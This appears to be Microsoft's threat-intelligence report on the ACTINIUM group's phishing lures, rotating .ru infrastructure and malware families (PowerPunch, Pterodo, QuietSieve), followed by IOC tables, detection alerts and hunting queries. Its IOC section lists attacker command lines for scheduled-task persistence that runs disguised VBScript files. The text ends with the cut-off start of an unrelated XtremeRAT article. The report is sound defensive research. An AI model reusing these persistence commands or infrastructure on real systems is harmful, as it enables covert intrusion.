ACTINIUMs lure documents appear to be legitimate and vary in style and content. For example, the lure document below included a remote template at the following URL: hxxp://usa-national[.]info/USA/sensible[. ]dot. While a domain was used in this instance, links with static IP addresses have also been used. 3/18 This URL and the related lure .dot document from ACTINIUM is responsible for loading the malicious remote template. This document uses text from a legitimate who.int situational COVID-19 update report published on July 27, 2021. ACTINIUM phishing attachments contain a first-stage payload that downloads and executes further payloads. There may be multiple subsequent staging scripts before a more fully-featured malicious capability is deployed to a compromised device. Its unclear why there are often multiple stages one hypothesis is that these staging VBScripts are easier to modify to incorporate new obfuscation or command-and-control (C2) changes. Its also possible that ACTINIUM deploys these scripts to provide some assurance that detection systems are less likely to detect their main capabilities. These initial staging capabilities vary examples include heavily obfuscated VBScripts, obfuscated PowerShell commands, self-extracting archives, LNK files, or a combination of these. ACTINIUM frequently relies on scheduled tasks in these scripts to maintain persistence. More information on some of the capabilities analyzed by MSTIC is included in the Malware and capabilities section. ACTINIUM operational infrastructure and wordlists MSTIC assesses that ACTINIUM maintains a large quantity and degree of variation of its operational infrastructure to evade detection. ACTINIUMs operational infrastructure consists of many domains and hosts to facilitate payload staging and C2. In a single 30-day snapshot, MSTIC saw ACTINIUM utilizing over 25 new unique domains and over 80 unique IP addresses, demonstrating that they frequently modify or alter their infrastructure. ACTINIUM domain name DNS records frequently change, perhaps not frequently enough to be considered fast-flux, but most DNS records for the domains change once a day on average. More than 70 of the recent 200 ACTINIUM IP addresses are owned by ASN 197695 REG.RU. Most ACTINIUM domains are also registered through the same owning company registrar (REG.RU). It is unclear why ACTINIUM appears to favor these legitimate providers. Malware authored by ACTINIUM often utilizes randomized subdomains for C2. These subdomains have included the use of an apparent English wordlist in their generation procedure, making the domains appear more legitimate while frustrating network defense tools that may rely on domain name blocks. A list of the most common words MSTIC has observed is 4/18 included in the IOCs below. Within the last 30 days, MSTIC has observed randomized schemes being used increasingly for subdomain patterns instead of wordlists, indicating a possible shift in methodology. One example of this randomization is the effect of their PowerShell stager using the Get-Random cmdlet: Examples of ACTINIUM subdomains encompassing both wordlists and randomized subdomains include: Jealousy[.]Jonas[.]artisola[. ]ru Deliberate[.]brontaga[. ]ru registration83[.]alteration[.]luck[.]mirotas[. ]ru 001912184[.]retarus[. ]ru 637753599292688334[.]jolotras[. ]ru While the fast-flux nature of ACTINIUM infrastructure means that IP addresses are less useful IOCs, there is a clear preference for it on a specific ASN. Such preference may help defenders determine whether a domain may be more likely to be owned by ACTINIUM. A list of more recent IP addresses is included in the IOCs below. ACTINIUM appears to employ this same wordlist to obfuscate other aspects of their attacks. For example, as previously mentioned, ACTINIUM often maintains persistence by using scheduled tasks to run their malicious payloads. The payloads are often named with seemingly random words and phrases with valid (but irrelevant) extensions. The files are then executed using scripts with the /E:VBScript flag to specify the VBScript engine (and to effectively ignore the random file extension assigned to the payload) and the /b flag to mute alerts and errors. The following is an example: The terms deep-grounded, deerfield, and defiance above are used as the name of a scheduled task, a folder name, and a file name, respectively. Terms generated from the wordlist, like those in the example above, have been generated and used on multiple targets and are also used to generate subdomains as previously described. These generated terms may frustrate network defenders as the names of scheduled tasks, file names, and others are almost never the same for each target. We have compiled a list of the terms that MSTIC has observed in the IOCs provided below. Network defenders may be able to use the said list to determine whether a scheduled task, file, or domain is likely to warrant further investigation. Maintaining persistence and gathering intelligence MSTIC assesses that the primary outcome of activities by ACTINIUM is persistent access to networks of perceived value for the purpose of intelligence collection. Despite seemingly wide deployment of malicious capabilities in the region, follow-on activities by the group occur in areas of discrete interest, indicating a possible review of targeting. Following initial access, MSTIC has observed ACTINIUM deploying tools such as Pterodo to gain interactive access to target networks. In some cases, MSTIC has observed deployments of UltraVNC to enable a more interactive connection to a target. UltraVNC is a legitimate and fully-featured open-source remote desktop application that allows ACTINIUM to easily interact with a target host without relying on custom, malicious binaries that may be detected and removed by security products. Malware and capabilities ACTINIUM employs a variety of malware families with assessed objectives to deploy remotely retrieved or embedded payloads before execution. MSTIC has analyzed several of these payloads and tracks the rapidly developing binaries as the following families: DinoTrain, DesertDown, DilongTrash, ObfuBerry, ObfuMerry, and PowerPunch. The PowerPunch malware family is an excellent example of an agile and evolving sequence of malicious code and is further explained below. The actor quickly develops new obfuscated and lightweight capabilities to deploy more advanced malware later. These are fast-moving targets with a high degree of variance. Analyzed payloads regularly place a strong emphasis on obfuscated VBScripts. As an attack, this is not a novel approach, yet it continues to prove successful as antivirus solutions must consistently adapt to keep pace with a very agile threat. 5/18 The most feature-rich malware family we track relating to ACTINIUM activity is known widely within the industry as Pterodo. In the following sections, we break down Pterodo further and review a binary called QuietSieve that is specifically geared toward file exfiltration and monitoring. PowerPunch The droppers and downloader family names tend to be fast-moving targets due to the heavy use of obfuscation and simple functionality. For example, PowerPunch is executed from within PowerShell as a one-line command, encoded using Base64: These binaries also exhibit features that rely on data from the compromised host to inform encryption of the next stage. PowerPunch also provides an excellent example of this. In the following code snippet, the VolumeSerialNumber of the host serves as the basis for a multibyte XOR key. The key is applied to an executable payload downloaded directly from adversary infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for clarity). Ultimately, a next-stage executable is remotely retrieved and dropped to disk prior to execution. Pterodo MSTIC has also reviewed several variants of ACTINIUMs more fully-featured Pterodo malware. A couple of features play a direct role in this malwares ability to evade detection and thwart analysis: its use of a dynamic Windows function hashing algorithm to map necessary API components, and an on-demand scheme for decrypting needed data and freeing allocated heap space when used. The function hashing algorithm is used to map a hash value of a given function name to its corresponding location in memory using a process known as Run-Time Dynamic Linking. Pre-computed hashes are passed to the hashing algorithm alongside the Windows library containing the related function name. Each function name within the library is hashed when a match is found, its address is saved. https://docs.microsoft.com/en-us/windows/win32/dlls/run-time-dynamic-linking 6/18 The hashing algorithm itself has historically not been terribly complex, and when considering an example such as SHA-256 51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45, it may be emulated using Python logic as follows: When pre-computing these hashes over different Windows DLLs commonly used in schemes like this, it is possible to map out these hash values and the corresponding Windows function name using open-source tools like the MITRE malchive. We have seen this behavior in many different malware families before. The hashing algorithm has been consistent within those families, allowing analysis like this to scale forward. Unfortunately, in Pterodos case, there is far too much drift in the algorithm for it to be used reliably. The algorithm has been different in many of the samples weve reviewed. Additionally, the application of this technique seems to vary among samples. Some samples have been observed to use it for most Windows function calls, while others have used it very sparingly. However, Windows libraries need to be loaded before function hashes are computed. The names of these libraries and other strings required by the malware are recovered using an on-demand scheme that decrypts the data, uses it, and immediately frees the associated heap space once it is no longer needed. https://www.virustotal.com/gui/file/51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45 https://github.com/MITRECND/malchive 7/18 As seen in the screenshot above, data is passed into a decryption function before being used in a call to GetModuleHandleA. Before the hashing routine uses the module handle, the decrypted string representing the function name has its associated heap space freed and may be later overwritten. However, the reconstruction of this data is straightforward within the two core decryption algorithms we have observed. The first one relies on an encrypted blob whose first value is interpreted as the size of the decrypted data in DWORD (four-byte) chunks. This data is decrypted four bytes at a time, with the last byte being the encrypted content. Each encrypted byte is XORd using a multibyte key sequence unique to each sample reviewed. In our example, the ASCII key sequence 39d84sdfjh is applied to the content above to produce the module name Kernel32. A slight deviation from this approach was also uncovered in samples such as SHA-256 2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904, where the decryption algorithm is passed data representing two WORD values: one mapping to the offset of the encrypted content within the malware and another representing the length. These parameters are recovered, and a much longer multibyte XOR sequence is applied to the encrypted content after the starting index is computed. Application of either approach allows us to gain a greater level of analysis into strings used by the malware. Continuing with the approach used by the previously cited example, we can apply the multibyte XOR key over the entire encrypted data space, resulting in the following content: https://www.virustotal.com/gui/file/2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 8/18 9/18 Pterodo has been observed to be a constantly evolving malware family with a range of capabilities intended to make analysis more difficult. By applying our understanding, we can expose more malware elements to further advance mitigation and detection efforts. QuietSieve The QuietSieve malware family refers to a series of heavily-obfuscated .NET binaries specifically designed to steal information from the target host. Before enumerating target files on the host, QuietSieve first checks for connectivity by sending a test ping to 8.8.8.8 (Google public DNS). The creation of the buffer for the ICMP request is done manually within QuietSieve and contains all null values for the 32-byte data portion of the ICMP packet. If this check succeeds, a randomly- generated alphanumeric prefix is created and combined with the callback domain as a subdomain before an initial request is made over HTTPS. If the connection is successful, the following file name extensions are searched for within removable, fixed, or networked drives: doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z. Candidate files are queued up for upload. They are also inventoried via a specific MD5 hash value computed based on attributes of the target file and compromised host, such as the volume serial number, file size, and last write timestamp assigned to the file. Computed hashes are logged to an inventory log file that serves as a reference point checked by the malware to avoid duplicate exfiltration. QuietSieve will also take screenshots of the compromised host approximately every five minutes and save them in the users local Application Data folder under Temp\SymbolSourceSymbols\icons or Temp\ModeAuto\icons using the format yyyy-MM-dd-HH-mm along with the jpg file extension. While the QuietSieve malware family is primarily geared towards the exfiltration of data from the compromised host, it can also receive and execute a remote payload from the operator. These payloads are written to the users Application Data folder with a random alphanumeric name and are executed in a hidden window. Microsoft will continue to monitor ACTINIUM activity and implement protections for our customers. Indicators of compromise (IOCs) The following IOCs were observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.
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Analyst note on ACTINIUM IOCs: ACTINIUM registers and administers a large amount of infrastructure.
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data/reports_final/0283.txt
Analyst note on ACTINIUM IOCs: ACTINIUM registers and administers a large amount of infrastructure. Its not always possible to accurately determine what malicious component connects to which C2 infrastructure. MSTIC has observed cases where the same C2 is used for different components (for example, corolain[. ]ru). Example malware samples and associated infrastructure QuietSieve 10/18 Indicator Type Comments Jolotras[. ]ru Domain name QuietSieve, associated with multiple malware samples Moolin[. ]ru Domain name QuietSieve, associated with multiple malware samples 0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824 SHA- 256 QuietSieve, communicates with jolotras[. ]ru domain(s) 6d4b97e74abf499fa983b73a1e6957eadb2ec6a83e206fff1ab863448e4262c6 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) eb1724d14397de8f9dca4720dada0195ebb99d72427703cabcb47b174a3bfea2 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) b92dcbacbaaf0a05c805d31762cd4e45c912ba940c57b982939d79731cf97217 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) b3d68268bd4bb14b6d412cef2b12ae4f2a385c36600676c1a9988cf1e9256877 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) a6867e9086a8f713a962238204a3266185de2cc3c662fba8d79f0e9b22ce8dd6 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) a01e12988448a5b26d1d1adecc2dda539b5842f6a7044f8803a52c8bb714cdb0 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) 8a8c1a292eeb404407a9fe90430663a6d17767e49d52107b60bc229c090a0ae9 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) 15099fc6aea1961164954033b397d773ebf4b3ef7a5567feb064329be6236a01 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) 137bfe2977b719d92b87699d93c0f140d659e990b482bbc5301085003c2bd58c SHA- 256 QuietSieve, communicates with jolotras[. ]ru domain(s) 0e5b4e578788760701630a810d1920d510015367bf90c1eab4373d0c48a921d9 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) 0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 SHA- 256 QuietSieve, communicates with moolin[. ]ru domain(s) Pterodo https://www.virustotal.com/gui/file/0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 https://www.virustotal.com/gui/file/e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 https://www.virustotal.com/gui/file/f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824 https://www.virustotal.com/gui/file/6d4b97e74abf499fa983b73a1e6957eadb2ec6a83e206fff1ab863448e4262c6 https://www.virustotal.com/gui/file/eb1724d14397de8f9dca4720dada0195ebb99d72427703cabcb47b174a3bfea2 https://www.virustotal.com/gui/file/e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19 https://www.virustotal.com/gui/file/b92dcbacbaaf0a05c805d31762cd4e45c912ba940c57b982939d79731cf97217 https://www.virustotal.com/gui/file/b3d68268bd4bb14b6d412cef2b12ae4f2a385c36600676c1a9988cf1e9256877 https://www.virustotal.com/gui/file/a6867e9086a8f713a962238204a3266185de2cc3c662fba8d79f0e9b22ce8dd6 https://www.virustotal.com/gui/file/a01e12988448a5b26d1d1adecc2dda539b5842f6a7044f8803a52c8bb714cdb0 https://www.virustotal.com/gui/file/8a8c1a292eeb404407a9fe90430663a6d17767e49d52107b60bc229c090a0ae9 https://www.virustotal.com/gui/file/15099fc6aea1961164954033b397d773ebf4b3ef7a5567feb064329be6236a01 https://www.virustotal.com/gui/file/137bfe2977b719d92b87699d93c0f140d659e990b482bbc5301085003c2bd58c https://www.virustotal.com/gui/file/0e5b4e578788760701630a810d1920d510015367bf90c1eab4373d0c48a921d9 https://www.virustotal.com/gui/file/0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5 11/18 Indicator Type Comments gorigan[. ]ru Domain name Pterodo teroba[. ]ru Domain name Pterodo krashand[. ]ru Domain name Pterodo, associated with multiple malware samples 51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45 SHA- 256 Pterodo, communicates with krashand[. ]ru domain(s) 2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 SHA- 256 Pterodo, communicates with gorigan[. ]ru domain(s) 425ee82f20eb87e07a0d4f77adb72bf3377051365be203ee6ded37b399094f20 SHA- 256 Pterodo, communicates with krashand[. ]ru domain(s) fe068e324cd4175f857dfee4c23512ed01f3abbf8b6138b715caa1ba5e9486c0 SHA- 256 Pterodo, communicates with krashand[. ]ru domain(s) 798cd714cf9e352c1e9de3d48971a366b09eeffb3513950fd64737d882c25a38 SHA- 256 Pterodo, communicates with krashand[. ]ru domain(s) ef9b39705decbb85269518705053e7f4087758eea6bab4ba9135bf1ae922b2ea SHA- 256 Pterodo, communicates with krashand[. ]ru domain(s) a87e9d5e03db793a0c7b8e8e197d14745265422f05e6e50867cdfbd150d0c016 SHA- 256 Pterodo, communicates with krashand[. ]ru domain(s) 2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 SHA- 256 Pterodo, communicates with gorigan[. ]ru domain(s) c68eb2fa929373cac727764d2cc5ca94f19a0ec7fd8c0876b98f946e72d9fa03 SHA- 256 Pterodo, communicates with gorigan[. ]ru domain(s) 3b6445cf6f8e9e70cb0fff35d723fec8203375d67cbd67c9a672cddc02a7ff99 SHA- 256 Pterodo bae9895ad4e392990a09b1b8a01e424a7ad3769e538ac693919d1b99989f0cb3 SHA- 256 Pterodo, communicates with teroba[. ]ru domain(s) c6e092316f61d2fc9c84299dd224a6e419e74c98c51a44023f8f72530ac28fdc SHA- 256 Pterodo, communicates with teroba[. ]ru domain(s) cb0d151d930b17f6376c18aa15fd976eac53d6f07d065fc27c40b466e3bc49aa SHA- 256 Pterodo 8ed03b1d544444b42385e79cd17c796fefae71d140b146d0757a3960d8ba3cba SHA- 256 Pterodo, communicates with teroba[. ]ru domain(s) Various stagers and downloaders (DinoTrain, DilongTrash, Obfuberry, PowerPunch, DessertDown, and Obfumerry) https://www.virustotal.com/gui/file/51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45 https://www.virustotal.com/gui/file/2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 https://www.virustotal.com/gui/file/425ee82f20eb87e07a0d4f77adb72bf3377051365be203ee6ded37b399094f20 https://www.virustotal.com/gui/file/fe068e324cd4175f857dfee4c23512ed01f3abbf8b6138b715caa1ba5e9486c0 https://www.virustotal.com/gui/file/798cd714cf9e352c1e9de3d48971a366b09eeffb3513950fd64737d882c25a38 https://www.virustotal.com/gui/file/ef9b39705decbb85269518705053e7f4087758eea6bab4ba9135bf1ae922b2ea https://www.virustotal.com/gui/file/a87e9d5e03db793a0c7b8e8e197d14745265422f05e6e50867cdfbd150d0c016 https://www.virustotal.com/gui/file/2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904 https://www.virustotal.com/gui/file/c68eb2fa929373cac727764d2cc5ca94f19a0ec7fd8c0876b98f946e72d9fa03 https://www.virustotal.com/gui/file/3b6445cf6f8e9e70cb0fff35d723fec8203375d67cbd67c9a672cddc02a7ff99 https://www.virustotal.com/gui/file/bae9895ad4e392990a09b1b8a01e424a7ad3769e538ac693919d1b99989f0cb3 https://www.virustotal.com/gui/file/c6e092316f61d2fc9c84299dd224a6e419e74c98c51a44023f8f72530ac28fdc https://www.virustotal.com/gui/file/cb0d151d930b17f6376c18aa15fd976eac53d6f07d065fc27c40b466e3bc49aa https://www.virustotal.com/gui/file/8ed03b1d544444b42385e79cd17c796fefae71d140b146d0757a3960d8ba3cba 12/18 Indicator Type Comments windir\System32\schtasks.exe /CREATE /sc minute /mo 12 /tn deepness /tr wscript.exe PUBLIC\Pictures\deepness.fly //e:VBScript //b /F Command line DessertDown artifact (note generated word used deepness, this will vary) wscript.exe C:\Users\[username]\continue.wav //e:VBScript //b Command line DinoTrain artifact (note generated words used [username] and continue, these will vary) alacritas[. ]ru Domain name PowerPunch libellus[. ]ru Domain name PowerPunch brontaga[. ]ru Domain name DessertDown gortomalo[. ]ru Domain name DessertDown and possibly other ACTINIUM capabilities corolain[. ]ru Domain name Used for PowerShell cmdlets goloser[. ]ru Domain name Used for PowerShell cmdlets delicacy[.]delicate[.]maizuko[. ]ru Domain name DinoTrain 0f9d723c3023a6af3e5522f63f649c7d6a8cb2727ec092e0b38ee76cd1bbf1c4 SHA-256 DessertDown, communicates with brontaga[. ]ru domain(s) bf90d5db47e6ba3a1840976b6bb88a8d0dfe97dfe02c9ca31b7be4018816d232 SHA-256 DessertDown, communicates with gloritapa[. ]ru and gortomalo[. ]ru domains b9b41fbbd646f11d148cface520a5d4e0ec502ba85c67b00668e239082a302e3 SHA-256 DinoTrain, communicates with delicacy[.]delicate[.]maizuko[. ]ru c05f4c5a6bb940e94782e07cf276fc103a6acca365ba28e7b4db09b5bbc01e58 SHA-256 DilongTrash, communicates with privigna[. ]ru 3cbe7d544ef4c8ff8e5c1e101dbdf5316d0cfbe32658d8b9209f922309162bcf SHA-256 ObfuBerry 3bab73a7ba6b84d9c070bb7f71daab5b40fcb6ee0387b67be51e978a47c25439 SHA-256 ObfuMerry ACTINIUM-owned infrastructure Domains The following list represents the most recent domains used by ACTINIUM as of this writing. Many of ACTINIUMs capabilities communicate with generated subdomains following the patterns discussed earlier. A list of commonly observed words in these generated names is available in the next section, although it should be noted that this list is not exhaustive. https://www.virustotal.com/gui/file/0f9d723c3023a6af3e5522f63f649c7d6a8cb2727ec092e0b38ee76cd1bbf1c4 https://www.virustotal.com/gui/file/bf90d5db47e6ba3a1840976b6bb88a8d0dfe97dfe02c9ca31b7be4018816d232 https://www.virustotal.com/gui/file/b9b41fbbd646f11d148cface520a5d4e0ec502ba85c67b00668e239082a302e3 https://www.virustotal.com/gui/file/c05f4c5a6bb940e94782e07cf276fc103a6acca365ba28e7b4db09b5bbc01e58 https://www.virustotal.com/gui/file/3cbe7d544ef4c8ff8e5c1e101dbdf5316d0cfbe32658d8b9209f922309162bcf https://www.virustotal.com/gui/file/3bab73a7ba6b84d9c070bb7f71daab5b40fcb6ee0387b67be51e978a47c25439 13/18 acetica[. ]online lenatara[. ]ru oyoida[. ]ru riontos[. ]ru nerabis[. ]ru adeltorr[. ]ru ouichi[. ]ru dushnilo[. ]ru hostarama[. ]ru jokolor[. ]ru arianat[. ]ru cryptonas[. ]ru akowaika[. ]ru artisola[. ]ru nokratis[. ]ru bartion[. ]ru konoatari[. ]ru torogat[. ]ru boltorg[. ]ru machiwo[. ]ru bibliota[. ]ru moonilar[. ]ru inosokof[. ]ru draagotan[. ]ru kolotran[. ]ru bilorotka[. ]ru reapart[. ]ru holotran[. ]ru golofir[. ]ru volotras[. ]ru dokkade[. ]ru nomukou[. ]ru huskari[. ]ru goloser[. ]ru milopoda[. ]ru goshita[. ]ru mirotas[. ]ru utemomac[. ]ru gortomalo[. ]ru zerotask[. ]ru hajimari[. ]ru ismetroh[. ]ru hortoban[. ]ru gloritapa[. ]ru vasitron[. ]ru libellus[. ]ru vositra[. ]ru hopfar[. ]ru bobotal[. ]ru nopaster[. ]ru meshatr[. ]ru fartopart[. ]ru koprotas[. ]ru historap[. ]ru dangeti[. ]ru nakushita[. ]ru atasareru[. ]ru golorta[. ]ru jabilen[. ]ru haguret[. ]ru naletovo[. ]ru uzumoreru[. ]ru screato[. ]ru herumot[. ]ru klotrast[. ]ru nattanda[. ]ru sumikko[. ]ru bellinor[. ]ru saturapa[. ]ru sundabokun[. ]ru nokitrav[. ]ru vivaldar[. ]ru nokata[. ]ru fortfar[. ]ru rawaumi[. ]ru nonima[. ]ru ikaraur[. ]ru nemoiti[. ]ru dudocilo[. ]ru wokoras[. ]ru onihik[. ]ru ruhodo[. ]ru mudarist[. ]ru gongorat[. ]ru yazibo[. ]ru pertolka[. ]ru asdorta[. ]ru holorta[. ]ru gortisir[. ]ru jupirest[. ]ru ruchkalo[. ]ru kolorato[. ]ru kucart[. ]ru filorta[. ]ru vostilo[. ]ru shitemo[. ]ru warau[. ]ru koltorist[. ]ru gortova[. ]ru lotorgas[. ]ru sorawo[. ]ru kimiga[. ]ru hokoldar[. ]ru amaniwa[. ]ru masshir[. ]ru telefar[. ]ru kippuno[. ]ru midiatr[. ]ru nastorlam[. ]ru martusi[. ]ru urovista[. ]ru kroviti[. ]ru bibikaro[. ]ru hilotrapa[. ]ru kovalsko[. ]ru vadilops[. ]ru hibigaru[. ]ru gribata[. ]ru alebont[. ]ru nukegaran[. ]ru zvustro[. ]ru lotorda[. ]ru vnestri[. ]ru dortisto[. ]ru Wordlist of observed terms ACTINIUM likely generates strings for use in various components from a wordlist. A sample of terms observed in use by ACTINIUM can be found below. ACTINIUM has been observed to use these terms for: Subdomains for their C2 infrastructure Scheduled task names Folder names Malware file names ACTINIUM also likely generates strings for other uses where they attempt to disguise their activities. 14/18 abrupt allegiance allen alley allied allocation allow allowance allowing allows alloy alluded ally almond almost alongside alphabet already alter alteration although always am amazing amber ambitious amends amid among beverley beware beyond bicycle big bigger bike bikes bill billion claimed clank clap clash clasped classes classroom cough could councilman countenance counteract countries country courage courageous cronos debts deceive deceived decent deception decide decided decidedly decision decisive deck declaration declare declared decline declined decoy decrease decree decrepit dedicate deduction deed deep deeper deep-going deep-green deep-groaning deep-grounded deep-grown deephaven deepish deep-kiss deep-laden deep-laid deeplier deep-lunged deeply deep-lying deepmouthed deep-musing deep-naked deepnesses deep-persuading deep-piled deep-pointed deep-pondering deep-premeditated deep-read deep-revolving deep-rooted deep-rooting deep-sea deep-searching deep-seated deep-seatedness deep-set deep-settled deep-sighted deep-sinking deep-skirted deepsome deep-sore deep-stapled deep-sunken deep-sweet deep-tangled deep-throated deep-toned deep-transported deep-troubled deep-vaulted deep-versed deep-voiced deep-water deepwaterman deepwatermen deep-worn deep-wounded deer deerberry deerbrook deerdog deerdre deere deerflies deerflys deerfood deerhorn deering deerlet deer-mouse deers deerstalker deery deeryards default defeated defect defective defence defend defense defensive defiance defiant deficiency defined definite definitely defy degrade degree deity dejected delay delayed delete deliberate deliberately delicious delight delighted delightful delirium deliverance delivered delivery deluge delve demand demanded demolition demonstrate demonstration den dene denial denied denote dense dentist deny depart departed department departments departure depended dependent deplore deploy deployment depression 15/18 depth depths deputy derisive derived des descendant descended descent describe description desert deserter deserts deserve deserves design designed designer designs desire desolate despair desperate desperately despise despite dessert destitute destroyed destroyer detach detached detail endanger ending endless endlessly endure enemies energy enforce faithless fake falcon fame familiar family famous fan fancied gleaming glide glimpse gloom gloomy glory glossy gloves glow glue gnaw goat goes integer integral intelligence intelligent intend descendant descended descent describe description desert interested interesting interference island isolation issue issued its itself jack jackal jacket jackson jake jam james jan january jar jaw jaws jazz jealous jealousy jean jeanne jeans jeer jeff jelly jerk jersey jerusalem jessamy jessie jest jet jew jewel jeweller jewellery jewels jill joan job jobs joe join joining joint joke joking jolly jonas joseph josephine josie joy joyful joyfully judge judgment jug juice juicy july jumble jumped jumper june jungle junior junk just justly juvenile lover low lower loyalty luck lucy luggage luke lumber lump lunch luncheon lustre luxurious luxury mankind manners mansion margaret margarita margin marriage marvellous masquerade naturally nature naughty navigation navy nay near neat necessarily necklace ned needle needlework neglect parlor parlour parrots parsley participate parties parting penknife per perceive percent percy perfect perform performed perfume pleasantly pressure presume pretence pretend 16/18 pretty prevail prevailed prevhost prey price priest primary prince princess printing pumpkin punctual punish punishment pupil purchase purchaser pure purge purpose purse pursuing references reflected regions registered registration registry regret regular regularly regulate reject relations relative relax release reliable salary sale salmon salt salts salvation same sand scarce scarcely scared scarf scarlet scattered scene scenery scenes scent scheme scholars schoolboy science scold scope scorn scornful scoundrel scout scowled shoe shone shooting sorting sought sound sounding soup sour source stool stoop stooped stop stopped stopper storm stout strawberries stream strengthen stretched strict striking string strings striped stripes stroke stroll NOTE: These indicators should not be considered exhaustive for this observed activity. Detections Microsoft 365 Defender Microsoft Defender Antivirus Microsoft Defender for Endpoint Alerts with the following titles in the security center can indicate threat activity on your network: ACTINIUM activity group The following alerts might also indicate threat activity associated with this threat. These alerts, however, may be triggered by unrelated threat activity. Were listing them here because we recommend that these alerts be investigated and remediated immediately given the severity of the attacks. Suspicious obfuscation or deobfuscation activity Suspicious script execution A script with suspicious content was observed PowerShell dropped a suspicious file on the machine Anomalous process executing encoded command Suspicious dynamic link library loaded An anomalous scheduled task was created An uncommon file was created and added to a Run Key Suspicious screen capture activity Staging of sensitive data Suspicious process transferring data to external network 17/18 Microsoft Defender for Office 365 Microsoft Defender for Office 365 customers can use the email entity page to search for and visualize the potential impact of these attacks to your organization. The following email security alerts may indicate threat activity associated with this threat. These alerts, however, may be triggered by unrelated threat activity. Were listing them here because we recommend that these alerts be investigated and remediated immediately given the severity of the attacks. Email messages containing malicious file removed after delivery Email messages containing malware removed after delivery Email messages removed after delivery Email reported by user as malware or phish Malware campaign detected after delivery Malware campaign detected and blocked Malware not zapped because ZAP is disabled Advanced hunting queries Microsoft Sentinel To locate possible ACTINIUM activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed below: Identify ACTINIUM IOCs This query identifies a match across various data feeds for IOCs related to ACTINIUM: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/ActiniumFeb2022.yaml Identify antivirus detection of ACTINIUM activity This query identifies a match in the Security Alert table for Microsoft Defender Antivirus detections related to the ACTINIUM actor: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/ActiniumAVHits.yaml https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/mdo-email-entity-page https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/ActiniumFeb2022.yaml https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/ActiniumAVHits.yaml 18/18 Microsoft 365 Defender To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: Find ACTINIUM-related emails Use this query to look for look for emails that may have been received in your environment related to ACTINIUM. EmailEvents where SenderMailFromDomain who-int.info or SenderFromDomain who-int.info Surface ACTINIUM-related alerts Use this query to look for alerts related to ACTINIUM alerts. AlertInfo where Title in(ACTINIUM activity group) Surface devices with ACTINIUM related alerts and gather additional device alert information Use this query to look for threat activity associated with ACTINIUM alerts. // Get any devices with ACTINIUM related Alert Activity let DevicesACTINIUMAlerts AlertInfo where Title in(ACTINIUM activity group) // Join in evidence information join AlertEvidence on AlertId where DeviceId summarize by DeviceId, Title // Get additional alert activity for each device AlertEvidence where DeviceId in(DevicesACTINIUMAlerts) // Add additional info join kindleftouter AlertInfo on AlertId summarize DeviceAlerts make_set(Title), AlertIDs make_set(AlertId) by DeviceId, bin(Timestamp, 1d) Surface suspicious MSHTA process execution Use this query to look for MSHTA launching with command lines referencing DLLs in the AppData\Roaming path. DeviceProcessEvents where FileName mshta.exe where ProcessCommandLine has_all (.dll, Roaming) where ProcessCommandLine contains Roaming\j extend DLLName extract([jJ][a-z]1,12\.dll, 0, ProcessCommandLine) Surface suspicious Scheduled Task activity Use this query to look for Scheduled Tasks that may relate to ACTINIUM activity. DeviceProcessEvents where ProcessCommandLine has_all (schtasks.exe, create, wscript, e:vbscript, .wav) XtremeRAT: Nuisance or Threat? Rather than building custom malware, many threat actors behind targeted attacks use publicly or commercially available remote access Trojans (RATs). This pre-built malware has all the functionality needed to conduct cyber espionage and is controlled directly by humans, who have the ability to adapt to network defenses. As a result, the threat posed by these RATs should not be underestimated. However, it is difficult to distinguish and correlate the activity of targeted threat actors based solely on their preference to use particular malware especially, freely available malware. From an analysts perspective, it is unclear whether these actors choose to use this type of malware simply out of convenience or in a deliberate effort to blend in with traditional cybercrime groups, who also use these same tools. There are numerous RATs available for free and for purchase in online forums, chat rooms and market places on the Internet. Most RATs are easy to use and 